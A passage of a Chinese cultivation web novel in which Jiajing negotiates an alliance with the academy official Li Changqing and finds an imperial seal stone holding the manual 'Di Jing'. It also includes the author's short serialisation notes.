轻吸了一口空气中的饭香,嘉靖跟刘权来到一间标有‘独孤’字样的包子铺,要了靠窗的雅间,布下禁制隔音后,嘉靖这才道: “有什么想问的就说吧。”说着,嘉靖拿起桌上热腾腾,鸡蛋大小的包子咬了一口。 修仙世界的美食也异常发达,包出的包子,馅儿,也都是一些灵田种出来的灵麦,要么就是家族饲养的一些灵禽的肉。 一口下肚,身体暖暖的,之前隔绝雨水使用消耗的灵气,也缓缓得以补充。 “先生,这次跟李长卿的谈判,给我的感觉,似乎不如上次跟黄峰老儿的谈判顺利……”刘权问出了自己心里的第一个问题。 见他如此问,嘉靖面容微缓,道:“那是因为上次,谈判始终是我们掌握主动权。” “这次主动权在李长卿手里。”说着,即将回想起李长卿说自己的来历,解释道:“他本身就代表书院,天然的将自己摆在高位上。” “之后再提出将大明调查的清清楚楚,而后又拿我的来历说事,想要无形中给我们造成压力,如此一来谈判桌上的主动权就在他手了。” “原来如此!”刘权眉头不由皱起,担忧的看着嘉靖,道:“那先生,你……” “修仙世界如此之大,是否人人都遵守规定,选择用书院的传送阵,跨世界来往?书院,又是否,真的每天都在查偷渡之人?” 听到嘉靖这么一问,刘权一怔,而后微微摇头,道:“规定是这么说,但都是被人举报后,书院这才会去查…这么大修仙世界,偷渡之人肯定有,私用传送阵的势力,中原更多……” 说着,刘权明白了嘉靖的意思。 这么大的世界,偷渡之人可太多了,暗地里怕是已经形成了一条产业链。 说不定跟灵脉生意一样,书院的人睁一只眼闭一只眼,获得利益后,也就过去了。 反正对书院来说,没有覆灭整个儒家统治的实力,所有的一切,都是蝼蚁! 水至清则无鱼的道理,书院高层也懂。 这点,嘉靖自然看的透彻,就好比大明,大明律还规定了,不得偷窃,不得走私,不得买卖私盐,更不得当街打架斗殴呢? 可结果呢?明面的律法规定是一条,但背地里该怎么样,还是怎么样,只要你不暴露,便是民不举官不究了。 放在这庞大的修仙世界,亦是如此。 嘉靖很特殊吗?那是他自己觉得,就凭他写了几篇中原大家都能写出的宗门雅章?就凭他为大明出谋划策,说服黄风谷,开设野市? 就凭这些,就厉害到,能被书院针对?这些,在书院看来,太普通了! 嘉靖可不是一个自视甚高的人! 来自其他星域的偷渡客怎么了?很了不起吗?不,很普通,稀松平常。 大角星怕是每天都有各种各样的人,怪事出现,都要引起书院注意的话,书院可真闲。 明白嘉靖不担心的缘由后,刘权也放下了心,他是关心则乱,自己觉得先生重要无比,神秘无比,就觉得书院也会如此重视。 如今想来,先生除了在他们看来,很聪明之外,气质特殊了些,貌似也没什么值得书院特别关注的地方,书院什么没见过? “那李长卿为何还要提出来,用作争取谈判主动权的筹码?”刘权不解的问道。 “这就事关你心中的第二个问题了。”嘉靖又拿起一个包子,咬了一口看向刘权。 “先生知道我要问什么?”刘权一愣。 “你不就是想问,为何不直接答应李长卿的条件?”嘉靖眼中含有笑意。 “嘿,”被戳破心中所想,刘权尴尬一笑,而后看着嘉靖,道:“还请先生明示。” “他在考察我!”嘉靖语气平缓,道:“他在寻找一个合作之人……” 考察?合作之人?刘权有些不明白,不过没有说话,而是等着嘉靖的下文。 他知道,先生会给自己解答的。 “物以类聚,人以群分。” “有能力有见识的人,如果想要更多的利益,自然不希望自己的合伙之人,是个无能之辈,李长卿从开始就一直在试探我。” “他的目的,始终都不是为了在这场谈话中占据上风,从而占我们那点小便宜。” “还记得我们开设野市的目的吗?”嘉靖看着刘权询问道。 “自然,”刘权面容严肃的点了点头,压低声道:“先生要做灵脉的生意……”说着,他突然一顿,眸子微微睁大,失声道: “我记得先生之前说过,灵脉生意,黄风谷必然会做,甚至会借着关系,跟坐镇野市之人合作……而且书院中也必然有派系争斗。” “若是,哪天争斗失败,必然会迎来清算,书院派来坐镇的野市负责人也会被清算。” “而我们让给‘黄风谷’经营权,就是让他跟书院之人合作,站在利益大船上。” “有书院的人背书,生意必然会越做越大,那些宗派也会下场,到时候水浑了以后,我大明就能跟着浑水摸鱼,跟着获得利益。” “一旦哪天情况有变,我们没有利益牵扯,还能提前撤出来,新的书院负责人到来之后,必然又是一场新的利益洗牌!” 刘权压低着声音,语速越说越快。 “我们有决策权,野市又是我们的,为了让这片利益土壤不被破坏,新来的负责人定然不会把事情做的太绝,毕竟水至清则无鱼……” “嘶!”说着,刘权倒抽了一口气,失声道:“现在,李长卿没有按照先生当初所想的那般,跟‘黄风谷’合作,而是找上我们。” “那岂不是说,一旦答应了,就是要将我们,捆绑在他这条船上?” “有进步,”见刘权经过提点后突然顿悟,嘉靖赞许出声,而后又道:“或许,李长卿根本就没考虑过跟‘黄风谷’合作。” “从调查到大明的时候,就决定了要将我大明,绑在他这条利益大船上。如今,对我的一番考察之后,显然他是满意的。” “挑选到了最佳人选,接下来就是共谋大荒片新地,未来的利益瓜分了……” “那我们怎么办?拒绝吗?”刘权有些紧张起来。 一下子就被牵扯到书院里,他担心大明仙宗,最后会被吃的骨头渣子都不剩。 “拒绝就意味着商道航线只能跟‘无情山’谈判,但谈成的可能性很低。” “他说的很明确了,书院会下达牒文,要求指定的宗派清理具体的荒地……拒绝了,那这片荒地也就轮不到我们了。” “就是必须合作了,对吗?”刘权眉头紧皱,“先生,你打算怎么做?” “此事要知会掌门一声,”嘉靖靠坐在椅子上,浑身惬意而轻松,抬了抬手指,道:“你现在便回去将此事禀告于掌门。” “合作了,从此与李长卿,以及他在书院背后代表的一系,一荣俱荣一损。 不过大可能是,大明短时间内,水涨船高,成为这大荒第一大宗。 不合作的话,是否有什么后果,就看李长卿如何选择了,但荒地怕是得不到了。商道航线开辟,要么放弃,要么跟‘无情山’谈判。” “至于李长卿是否会从中为难,这不好判断。我就在野市等你,明日答复。” 听到嘉靖把利害关系都说完后,刘权张了张嘴,道:“可是掌门说,宗门经营发展交给我们,他们不会插手这些事宜……” “事关宗门日后发展,我做不了主,你做不了主,成也罢了,不成的话,掌门不会怪罪,其他人呢?日后随着宗门壮大,派系林立……” “难免会有种种麻烦,所以这个决定,只能是由掌门亲自拍板……去吧!” 见嘉靖如此说,刘权也知道这事很大,牵扯到书院,还有宗门未来,他们做不了这个主。 “成,我这就回宗门,先生就在野市等我,我很快回来,”说着,刘权起身就要离开,而后又一顿,回头看着嘉靖,道:“若是掌门询问我,先生的意见,我该怎么回答?” “等掌门做出决定之后,我再回答这个问题。”嘉靖说着,摆摆手,示意刘权离开,同时道:“不管掌门做什么决定……”说着,嘉靖突然间,浑身上下都显露着一种自信。 “我都会让大明好好活下去!” 闻言,刘权身体一怔,而后咧嘴一笑,只觉得浑身轻松无比,道:“走了。” 嘉靖的意思很明确了,合作了他会做出相应的应对。不合作,他也会让大明发展越来越好。这份自信,顿时给了刘权无穷的信心。 说完,大步离去! “得人心者得天下……”心底悠悠轻语一声后,嘉靖起身走出包子铺。然后朝着不远处的一个摆摊的散修搭建的棚子而去。 来的时候,他就注意到了这里。 只因为从刚才开始,识海中他的本命就隐隐有些发颤,冥冥中似乎要指引着自己。 这种感觉,嘉靖在《基础引气诀》中,关于本命物的介绍中有看到过。 若是修士诞生神识,进入识海后,本命就会指引着修士,找到与本命契合的本命物。 过程中,本命会发颤,或者是影响修士的心境,阵阵悸动,从而跟着指引而去。 不过让嘉靖惊奇的是,自己的本命是大明,大明的本命物,显然就是真实大明了。 什么东西,能让本命指引自己?而且,为什么偏偏这个时候,这个地方才指引。 “会是什么东西……”想着,嘉靖站在棚子里,细细打量着眼前摊位上,各种各样的东西。 有符箓包、有各种宝石、金属、飞剑,丹药,还有一些飞行法器,足足有数十种。 “道友,可是有心仪之物?”摊主是个约莫四十岁的中年男人,干干瘦瘦的,身穿黑色道袍,皮肤并不是很好,衣着也不怎么光鲜。 显然,这摊主也是个散修。 “随意看看。”嘉靖说着,也不管摊主,目光先是放在了一个小鼎上,而后又掠过小鼎,落在一旁的一把飞剑上。 最后又放在边角处的一块铁牌上。 “会是哪个呢?”识海中,本命大明隐隐散发出道道光晕,随着嘉靖目光扫到一件件物品上,本命光晕散发的强弱也各有不同。 摊主见嘉靖只看也不拿,心中却冷笑连连,他摆摊这么多年,很多套路早就熟悉了。 很多人看中心怡的物件,往往都会不动声色,先拿一件自己并未看中的,等自己满天要价后,他再看似有意无意的拿一件不怎么起眼的。 嗯,往往这东西,才是他最先看中的。 一般情况下,他都会默默配合,最先拿起的那件,他就是漫天要价。 等对方看中心怡的物件后,他直接不按套路出牌,要出更贵的价来,买不买随你。 想薅我羊毛?白日做梦! 看着嘉靖“装模作样”的挑东西,摊主心中冷笑越发强烈了,卖家还能让你买家给玩了?真当老子在修仙界底层,摸爬滚打白混了? “找到了!”这时,嘉靖目光一凝,盯着摊位边角,一块似乎是压着布毯的拳头大小的,黑黢黢的石头,然后毫不犹豫的拿起石头。 “嗡嗡嗡。”同时,识海中本命大明的光晕也越发的强烈了起来。 “呦呵,”见嘉靖拿起自己压布毯的石头,表现出一副找到心仪之物的神情,摊主眼底闪过一抹惊讶,心头冷笑:“玩套路是吧?” “这是知道我会漫天要价了,所以不按常理出牌了?哼哼,等会怕不是要顺手多挑几件,其中有一件就在这摊位里吧?” “行,你挑几件,价格统一上涨,跟我玩套路,哼!”摊主手从揣着的袖口里伸出,不等嘉靖开口询问价格,然后慢悠悠道: “这是域外顽石,三两灵源。” 就算是压布毯的一两灵源都不值的,随处可见的废石,今天也要卖出个天价来不可。 报价后,摊主心里已经打定主意,等会不管嘉靖挑多多少件,统一抬高价格。 嘉靖自然不知道摊主心里有着何等丰富的内心戏,抬手扔下三个装有一两灵源的玉瓶后,收起黑黢黢的顽石,转身就走。 “诶?”见嘉靖就这么走了的摊主顿时一愣。看着摊上三个修仙界标准的装灵源的小玉瓶,一把收起,快速查看,确定无误后,这才张了张嘴,看着嘉靖的背影,有些愕然道: “真就买一块石头啊?”不过跟着,他看着手里的三个小玉瓶,顿时一跺脚,悔恨道: “哎!要少了!” 他原以为对方要玩套路,打算反套路的,结果这人竟然玩的是真诚。 “嘿,老赵,别悔恨了,一块破石头,你卖三两灵源,就别人心不足蛇吞象了!”边上摊位的摊主,笑了笑说道: “人家可没心思跟你玩套路,那是压根不在乎这点钱,是你自己一肚子花花肠子。遇上个不算计,玩真诚的,被玩也是该。” “去去去,谁能想到,有钱人会在地毯买东西?明显就是个穷装蒜的嘛……” “哈哈哈!”众人又是一阵大笑。 小人物亦有小人物的世界,对这些嘉靖自然不知,此时他已回到了“独孤包子铺”。 亮出自己宗门四长老的专属令牌后,找独孤家的族人要了一间休息室,然后打下一道禁制封闭房间后,这才拿出那块黑黢黢的顽石来。 “这顽石另有玄机吗?”想着,嘉靖抬手将灵气注入其中,结果毫无动静。 而后又想到《修行通识纪要》中说的,有些奇物,需要滴血认主,便心中一动,划破指尖,挤出一滴血,滴在顽石之上。 “嗡嗡嗡。”随着嘉靖血液滴在顽石之上的瞬间,识海中的本命大明也再次发出道道光晕,这一次比之前还要强烈。 随着识海中,本命大明发出异动,道道光晕充斥着识海,冥冥中嘉靖似乎有所明悟。 心中一动,开始将灵气注入其中。 “咔咔咔。”下一刻,只见顽石开始出现裂缝,而后随着灵气注入越多,识海中本命大明光晕越发强烈,冥冥中似有所牵引一般。 终于,顽石陡然碎裂,原本拳头大小,黑黢黢的顽石,此刻却像是被蜕了一层皮般,露出里面纯白色,如羊脂玉般的石胎。 依旧像是拳头一般,坑坑洼洼,表面还有些纹落和凸起,就像是被融化后,凝聚而成的一块石头,心中一动,顽石消失不见。 不过嘉靖却是在自己的识海中,看到了它! 只见在灰雾缭绕的本命大明之上,那颗拳头大小的顽石正在“滴溜溜”旋转。 而本命大明上散发的道道光晕,此时竟然汇聚成一道道金色的流光,钻入顽石中。 “嗡!”这时,只见顽石上,爆射出一道璀璨的金光,而后在半空中形成一幅卷轴。 只见卷轴缓缓拉开,明明上面的文字嘉靖不认识,但他却看得懂每个字的意思。 而在卷轴开头,则写着几个龙飞凤舞的大字。 “帝经·九卷……”嘉靖下意识的念出声来,而后目光一凝,看向后面的文字,“紫薇星域,大昊古朝,始建于……” “嘶!”随着看到后面的介绍,饶是嘉靖此刻面对修仙世界的种种都能保持淡然的心态,在看完卷轴上的内容后,也不由阵阵狂跳。 “这……竟是来自紫薇星域,一个名为大昊的,王朝发展史?!” 按照《帝经·九卷》所述,这块石头也不是什么普通的顽石,而是一块可以用来专门打造王朝帝玺的帝玺石,只有‘三垣星域’才有。 当然,最重要的是,这上面讲述了一直以来困扰嘉靖的一个问题,算是为他解惑了。 本命是王朝,并不是他独属! 也正如他此前所想的那般,紫薇星域,果然有他要的答案。 如今这个疑问或许能从眼前的《帝经·九卷》之中,找到答案! “……” 1.1万+这章内容不适合断开,合一起了。 第一百二十七章 解惑、帝玺、帝经、合作、掌门应该是你、落幕 “呼。” 过了许久,嘉靖在看完卷轴上,关于大昊古朝的基本信息,掠过其中记载的一些功法传承之后,不由吐出一口气。 这部《帝经·九卷》,讲述了‘大昊古朝’所在时代的种种,以及紫薇星域历史概述,这就是一部,王朝破灭之后宗室所撰史书。 其中记载了‘大昊古朝’的王朝制度、律法、都城、疆域,所处时代和主要势力。 当然其中还有嘉靖最关注的王朝修行传承,其中记载了一卷只有皇室,且本命融合帝玺之人才被允许修炼的功法。 这卷功法,名为《太昊帝经》。 与大多数本命之物的使用方法大差不差,却也有不同之处,在修仙界筑基之后,也就意味着《基础引气诀》修炼到了大成。 之后,可以挑选与自己本命最契合的功法修炼。 在对敌时,修士可以通过本命物,调集本命之力,与人对战,可以说是威力巨大。 但若王朝是本命,那也就意味着,该修士的王朝就是他的本命物。 这点跟嘉靖一直以来摸索前进的路子,却是极为贴切,不过倒也算是万变不离其宗,诸法殊途同归了,王朝做本命特殊,却也终归是本命。 修士在筑基之后,可以借用本命之力战斗,王朝作本命也是一样的道理。 皇帝可以借用王朝之力战斗! 若是战斗之人,属于是王朝子民,那么天然会被压制,王朝之内,皇帝无敌。除非你的修为,超过皇帝,且能一人敌国。 此外,王朝的百官,若是有朝廷官身,也可借助王朝之力,这要看皇帝给下方的权限多少而定,官大的能借用的就越大,官小的就少。 当然前提是经过帝玺盖章的朝廷命官,因为帝玺,是王朝作本命的关键一环。 帝玺,是由一种名为帝玺石的石头,经过炼化打磨而成,按照《帝经·九卷》中所述,这种石头是‘紫薇星域’的特产。 像是帝王玉玺,或是官员的印玺,都用这种石头,当然帝王的玉玺是这种石头里的上等货。 帝玺石与王朝本命天然的相合,若是王朝没有帝玺,若是遇到帝玺石,就会被吸引。 也是因此,嘉靖这才明白为何本命大明,会突然之间出现波动的原因。 “帝玺用于敕封官员,封地……”嘉靖看着漂浮在本命大明上空的帝玺石,抬了抬手,石头立刻漂浮到了他的手掌心之上。 想着,目光又看向卷轴上,关于帝玺与王朝本命的一些细述。 首先,凡是被敕封的官员,经过帝玺盖章,敕封官身之人,本命之上就会被刻下官身。 如此,官员才能借用王朝之力。 甚至,拥有官身的人,还可以借助王朝之力加快修行速度,延年益寿,种种好处…… 不过同样的,王朝官员也要受朝廷管辖,身为官员,若是做的不好,皇帝可以随时对官员进行严惩,抹杀或是剥夺本命官身。 当然,剥夺的是本命官身,本命不会被剥夺,该官员被贬为庶人后,还是能修炼。这算是皇帝对臣子的仁慈…雷霆雨露皆君恩就是如此。 对此,嘉靖倒是很好理解。 身为皇帝,对所有臣子,都不过是用而已,有的人做脏活,有的人做干净的面子活。 干脏活的臣子可以随时抹杀,也可以给他活下去的体面,贬官为老百姓回乡养老,这要看自己的心意如何,心间是否还有些许人情。 这修仙王朝也是一个道理,可以给官员官身,无尽荣光,犯错后也可以酌情处理。 不过相较于凡人王朝,具备官身的官员是永远不能背叛皇帝和自己的王朝的。 除此之外,帝玺还能敕封国土。 就拿大明举例,比方说有不属于大明的国土,对外扩张之后,这些国土想要纳入大明的疆域版图之中,就需要用帝玺敕封。 如此一来,本命才会接纳这部分土地。 再比如,若是有附属国,也可以敕封,被敕封后,会成为王朝服用,本命不会融合,但是会在本命旁边,出现他国本命,宗主国的皇帝有权进行查看,和对附属国进行一些内政干预。 还有就是嘉靖最担心的一点。 那便是,境内若有人的本命是王朝该如何?嗯,按照《帝经·九卷》所述,这种可能微乎其微,一般这种本命只会出现一个。 比如说皇帝的本命是王朝,那即便是太子,他的本命也不会出现,而当皇帝退位之后,将帝玺交于储君,如此退位的皇帝就不能掌握王朝,比方说官身、国土的敕封大权。 本命回归为最初的功能,也就是反哺修行,只不过本命物归为储君所有了。 当然,退位的皇帝还是太上皇,依旧可以借用王朝之力与人战斗。 储君掌握帝玺,自身本命会衍化为王朝,不过本命的本质,还是不变的,这就类似于古兽、妖族的元神这种,有的妖族元神是本体。 但当修为达到一定程度后会化形。 也就是说,储君的本命如果是一颗石头,那么接过帝玺后,石头会幻化成王朝,掌控天下。 像是嘉靖这种,天然就是王朝的本命,一般只出现在开国之君身上,出现一个就不会有第二个,因为国无二君,这是法则! 至于有些人的本命会不会是村,镇,城这些,倒是有可能,这个时候帝王要么敕封,要么不敕封,或者抹杀都随意。 至于他们会不会扩张领地,自然可以。但谁敢? 你想要把村发展成镇,理解。 你要把镇子发展成城池也可以。 可你要把城发展成国,那你就是找死了。 “如此,甚好……”心头一大疑惑被解开后,嘉靖心中松了一口气的同时,也定下了一个新的目标,那就是炼化这块帝玺石。 同时回去后,要对朝廷内阁六部的官员任命,进行一次重新盖章。 毕竟,筑基之后,本命和本命物绑定,大明也算是正式步入仙朝路。 赐予官身,也要提上日程。 想着,靖的目光又看向《帝经·九卷》中,记载的‘大昊古朝’的功法《太昊帝经》,不过接下来自己修炼了,自然要改名了。 “日后这卷功法,就叫‘帝经’了。”嘉靖心中一动,单独将‘帝经’内容摘出。 按照《帝经·九卷》所述,这个时候,‘大昊古朝’现在应该已经破灭了。 这‘大昊古朝’的皇室之人,在古朝破灭前,将传承封入一块未经炼化的帝玺石之中离开‘帝洲’,嗯,帝洲应该是地名。 具体的,这古朝破灭多久了,嘉靖无从知晓,从《帝经·九卷》中得知,之所以‘大昊古朝’会破灭,与当时所处环境不无关系。 皇帝昏庸,外部王朝针对,内部从上到下,腐败无能,内部想要变法,外部又冲突不断,然后内外崩溃之下,大厦将倾。 在紫薇星域,王朝林立,互相征伐可以说是屡见不鲜,几乎每隔一段时间就会有王朝建立也会有王朝轰然崩溃,被其他王朝蚕食。 不同于大角星所在修仙世界,紫薇星域那边王朝才是唯一至高无上的存在。 修仙宗派,不管你多强,领地始终是王朝赐予,别说王朝高层,就算是当地小官,若是律法合规,都能随意拿捏你。 一些王朝,皇帝昏庸,官吏腐朽不堪,宗门跟官府勾结,上下腐败,也导致境内混乱不堪,宗派甚至能跟官府分庭抗礼。 当然,也不是说每个王朝的皇帝,其本命都是王朝,也有别的东西。 王朝作本命的,终究是少数。 总之,紫薇星域的王朝很多,很多,各种各样的制度,也不尽相同。 单单从《帝经·九卷》中了解到的,嘉靖就能看的出来,相比于大角星,儒家规则治下的世界,紫薇星域有多庞大和混乱。 将心中想法压下后,嘉靖又开始观看起了‘帝经’,总共有十二层。 前九层,对应的是练气、筑基、金丹、元婴、化神、炼虚、合体、大乘。没错,‘帝经’之中也含有炼气期的修炼法门。 其实炼气期有别的功法,并不是什么稀奇的事情,不过是大多数宗门底蕴不够,没有衍生出独属于自家宗门特有的基础引气功法。 因此也就用的是‘烂大街’的引气诀。 嗯,这个‘烂大街’可不是说功法烂,它跟‘御剑术’一样是普遍适用的功法,很多称霸一方的巨擘人物,刚起家的时候也是修的这。 物美价廉,在修仙大城中就能买到。 只是后来,建立大宗之后,想要让门人弟子更好,自然而然的就会选择更厉害的引气功法。 修炼‘帝经’的话,自身的灵气会与普通‘引气诀’有着明显的区别,最直接的就是灵气质量,还有修炼速度,都会提升。 其他的,像是这种高质量的功法,在练气期就会让自身更为贴合灵气属性,从而用以相对应的属性之物,辅助修炼。 比如说,嘉靖的灵气是火属性,但在筑基之前,他只能老老实实的修炼‘引气诀’修炼,吸收全灵气,根本不需要顾忌灵气属性。 但若是修炼了‘帝经’那就可以使用火属性的资源进行辅助修炼,让灵气更纯粹。 而不是等到筑基后,换偏向属性的功法,再行寻找属性之物,辅助修炼。 说白了,就是快别人一步。 不过这修行之路,自然是在保证质量和无副作用的前提下,能多快就多快最好了。 想着,嘉靖也是心动不已。 之后的第十层、第十一层、第十二层,实则是对标的九劫散仙,又或者是飞升成仙后的境界,仙人境界并未记载。 因为‘帝经’修炼到第九层就能飞升了。 之后的境界,是确保飞升之后依旧能修炼的强大功法,单此一点就能看出这‘大昊古朝’辉煌时,底蕴到底是何等的强大了。 若是大乘期能修炼到第十层可与三劫散仙一战,第十一层可与六劫散仙一战,第十二层可与九劫散仙一战,真打起来散仙必死! 为啥?因为散仙每一劫都要渡劫,始终要保证自己处于完美状态,迎接天雷。 就算散仙强大,可对上大乘期,也不会轻易的开战,而是多数选择退避。 修仙界,能修炼到大乘期的,背景、机缘、天赋、宝物没有谁是‘裸’着的。 因此也就造就了散仙除非是没有了希望,或是宗派家族遭遇灭顶之灾,否则全都是窝着,让自己时刻处于完美无伤状态。 “呼,”轻呼出一口气,嘉靖收起了‘帝经’,看着本命之上‘滴溜溜’旋转的帝玺石,“等此间事了,便着手替换功法。” “然后找一些火属性的辅助物修炼,争取早日筑基,之后还要炼化帝玺石,铸帝玺。” 退出识海后,嘉靖看了眼天色,依旧雨蒙蒙的,撤去禁制后,便开始安心打坐了起来。 雨势大了又小,小了又大。 一直到天色渐暗,野市中灯火通明的时候,敲门声这才响起,刘权从宗门赶了回来。 “先生,掌门作出决定了。”一进门,不等嘉靖发问,刘权便直接道:“掌门同意合作!” 听到刘权说,独孤英同意跟李长卿合作,嘉靖并不意外,虽然接触不多,但从刘权对黑风寨往事的讲述,嘉靖也能看得出来,独孤英这个掌门,行事作风雷厉风行,敢闯敢拼。 最重要的是,不惧失败! 否则那么多散修势力,山贼老大修为不俗的也不少,但能走到这一步的也不会只有他跟黄风谷。 “掌门可还有吩咐?”嘉靖从床榻上下来,来到窗前的小几前坐定。 刘权来到嘉靖对面坐定。 “掌门说宗派经营发展上,既然交给我跟先生,那日后不论我们做什么决定,都不必与他知会,他既然选择相信,就无条件支持!” 听到这话,嘉靖微微颔首,点了点头道:“既如此,明日便与那李长卿回复吧。” “嗯,”刘权重重点了点头,而后突然又一副欲言又止的模样,见此嘉靖自然看破了他心中所想,当即道:“你是想问,我接下来如何打算,若是掌门不合作,我又当如何破局?” “嘿,”被嘉靖看破心思,刘权嘿嘿一笑也不掩饰自己的想法,“什么都瞒不过先生!” “若是掌门不合作,那就只能与‘无情山’谈判,若是掌门合作,有书院做靠山……”说到此处,嘉靖语气一顿,摇摇头道:“我们便尽可能的借势发展壮大!” “只要有足够的硬实力,未来即便有什么变故,也能在危险降临的时候有更多的选择。” “日后要多加留意书院的动向了,”嘉靖说着,看向刘权严肃道:“大荒是一片新地,白马楼那位和野市的李长卿能坐镇东南这一片。” “说明其至少在书院内部,算是有实力的一方派系,短时间内倒是不用担心出变故。” “同时,若是可以的话,可以在西南、西北和东北三处,甚至是中原,都要尽可能的跟书院之人搭上线,同时发展壮大。” “只有树大根深,才能屹立不倒。” “即便李长卿等人未来因高层争斗而倒下,我们再新来之人眼中也是有用之人。有用,就不会被轻易收拾,大而不倒便是如此!” 听到嘉靖如此说,刘权深吸一口气后,重重点了点头,道:“我明白了!” 原本大明只想暗中稳步发展,但现在没有了选择,那便索性借势发展,同时发展书院方面的人脉,不把鸡蛋放在同一个篮子里。 一旦成为大而不倒的存在,书院来人只会想着收服,为其所用,而不是铲除。 因为铲除一个超级大宗,等同于是杀鸡取卵,但凡能细水长流,没人会这么做。 一夜无话。 第二日依旧阴雨连绵,嘉靖带着刘权与李长卿达成合作,同时签订血契。 血契总共有三份,李长卿跟嘉靖一人一份,还有一份则是被刘权送去了宗门由独孤英签订。 “朱先生是在疑惑,为何要你签订血契吗?”李长卿欠了欠身,拿起桌上的血契看了一眼,而后抬眼看向嘉靖。 “嗯,”见嘉靖面色平静,似乎毫不意外后,李长卿脸上露出笑容,道:“看来先生明白,没错,看中的是先生!” “至于大明仙宗,说实话我并不是很看重,若是我愿意,随时可以扶植一个势力为我做事,但像是先生这般的人才却很难得。” “先生可有什么疑惑?”李长卿说完,拿起茶盏,吹了吹热茶说道。 “一些生意,必然会触动书院的规则,李先生打算如何规避?”嘉靖想要试探一下这个李长卿,在书院背后的能量。 李长卿深深看了眼嘉靖,他听出了嘉靖言外之意,瞥了眼窗外雨雾蒙蒙的野市,语气幽幽道:“大竹、白马、秋菊、傲霜。” “这是大角星四大最强的书院,此外还有一些大大小小的书院,也都出自四大书院。” “白马书院由上、中、下三脉统领,我李家是中三脉第一,家族在‘大角星’之外,独居一颗大星。”说完,李长卿不再言语。 听到李长卿如此说,饶是嘉靖已经做好了准备,也不由被对方的来历所震惊。 他有想过李长卿背后的势力不简单,甚至在整个白马书院来说也必然不是属于下等存在,要不然不可能被派来大荒这片新地坐镇。 没想到对方的家族,竟然是白马书院这个统治‘大角星’不知多少疆域的庞然大物的创始家族之一,虽然是中三脉但位列第一就足以不凡。 不过很快,嘉靖便又冷静了下来。 “中三脉可有机会上升为上三脉?”冷静下来的嘉靖,问出了一个关键问题。 “自然。”李长卿直接坦然回答。 听到这里,嘉靖心中顿时了然,果然白马书院中也有派系争斗。 位高权重,但争斗也更为惨烈,稍有不慎,便会从最高处跌落,而后摔得粉身碎骨。 “大荒开荒是三脉共同决定,十二处修仙大城,上三脉占据七座。”话说开了,又是合作伙伴,李长卿倒也不吝啬分享一些内幕。 “中三脉我李家独占两座,”说着,微微一笑,道:“想必先生已经猜到了,不错,就是四方城、东南城,大半个东南地域!” “其余两家各占一座。下三脉共同瓜分剩余的一座修仙大城,以及附近区域……” “剩下的两脉和下三脉就甘心?”嘉靖虽然是在问,但语气却是非常的肯定。 “自然不甘心,所以……”李长卿说着,语气悠悠道:“才会有邪修作乱,不是吗?” 邪修作乱是书院内斗的结果! 嘉靖眼底闪过一抹惊讶之色,而后又恢复了平静,意料之外,情理之中罢了。 邪修从中原来到大荒,闹得这么大,书院何等实力,竟然没能抓住,要说没点猫腻谁信? 这让嘉靖不由的想到了大明,屯兵兴农的国策时,严党跟清流互相争斗,不惜搅乱大同。 其中为的不就是斗倒一方,让自己上位吗?书院就是一个变异的大号王朝体。其管理、内部派系斗争这些诶,都是一样的。 这些,嘉靖可以说是见的多了! 下三脉斗倒了中三脉,出了乱子,就能上位,或者是接手中三脉的地盘,中三脉也同样的道理。彼此内斗,或者是同时斗倒上三脉。 最后,大不了让大荒动乱,那时候闹大了,自有书院掌院做出裁决。 嗯,书院没有掌门一说,有的只是掌院。 “希望清理荒地的正式牒文可以尽快下达。”不想过多参与询问书院内部争斗,嘉靖话锋一转,不忘记双方合作以来的第一桩正事。 既然四方城、东南城这大半个东南区域,都由书院的李家掌管,决定一个小小的荒地清理归属权,根本不算什么。 “明日牒文就会下达。”李长卿随口答道。 之后,关于邪修之事,嘉靖没有多问,李长卿也没有多说,但想必李家也不会坐等着被别人算计,接下来定然是要反击的。 接下来,整个东南都不会安静了。 此间事了,接下来若非必要,他是不会再轻易踏出宗门了。 “朱先生,”这时李长卿突然开口,“我还是觉得,大明仙宗的掌门应该是你。” 听到这话,嘉靖面色平静,神情没有任何变化,让李长卿猜不透心中所想。 “踏踏踏。”这时楼下脚步声响起,刘权走了上来,道:“血契生效了吧?” 李长卿微微一笑,拿起桌上血契,看着右下角出现的第三个人的名字,道:“生效了。” “既如此,那我们等便告辞了。”嘉靖起身说道。 “好,我送二位。”李长卿起身抬手,示意二人先请,对刚才嘉靖没有接话,并不在意。 至此,此次野市行算是结束。 收获很大,首先就是基本上算是解决了商道航线的问题,其次便是与书院搭上了线。 放眼望去,整个东南所有宗门中,只有大明仙宗和黄风谷是没有背景靠山,清白干净的。 但是相比于大明,黄风谷又跟‘清源仙派’、‘小蜀山仙派’还有书院都有牵扯,其背后代表的利益派系,太过复杂。 只有大明,始终清清白白。 或许这也是李长卿选中大明的原因。 至于‘黄风谷’黄峰掌门的二女儿入书院,李长卿又没有找上‘黄风谷’,那基本上可以肯定,黄峰的二女儿不属于中三脉的李家。 “轰轰轰。”飞梭轰鸣,载着嘉靖跟刘权冲入云霄,朝着宗门赶去。 望着远处渐渐变小,消失在视野的野市,嘉靖立在飞梭甲板上,心中计较不断。 此间事已了,接下来嘉靖要做的就是将功法转换,抓紧时间炼化帝玺石,将其变成帝玺。然后继续闭关修炼,争取早日突破筑基。 “希望最晚两年内可以筑基!” “……” 还有更新,吃个饭回来继续更~ 第一百二十八章 召集内阁,朕要给他们重新盖章! 传承阁,内室之中。 浓郁的灵气围绕着嘉靖,若是仔细观看的话,就会发现,这些灵气相较于之前越发的平和,此刻却有些炽热和爆烈。 若是此时内室中有旁人在的话定会发现,整个房间的温度非常之高,宛若一个火炉。 不过此时,嘉靖却是毫无察觉,依旧面色平静,任由那一道道灵气,被身体吸收。 修炼‘帝经’,并不需要担心灵气属性问题,因为它会自行将摄入体内的灵气,按照本命属性,进行转化。 这就是上乘功法的强大之处。 “哗!”许久后,嘉靖周身炽热的灵气陡然荡开,吹得他衣袍鼓鼓,哗哗作响。 当内室之中的灵气渐渐平息之后,嘉靖的双眼也跟着缓缓睁开来。 一双眸子里,隐隐有满意之色浮现,严肃的面容也在这一刻,变得宽容了下来。嘴角也不由的,勾起了一抹舒心的笑容来。 “一个月时间,完成功法转换,此前的‘全灵气’,已经全部变成火属性灵气。” “此后‘帝经’运转会自动将进入体内的灵气转化为火属性,而且换了功法,不论是修行速度,又或者是灵气质量都不是之前可比。” 心中想着,嘉靖也不由暗暗庆幸。 庆幸当初李长卿执意要见自己,跟自己当面谈,否则自己大概率是不会出宗门的,自然也就跟这帝玺石还有‘帝经’无缘了。 自从上次从野市回来,已经过去了一个月的时间。 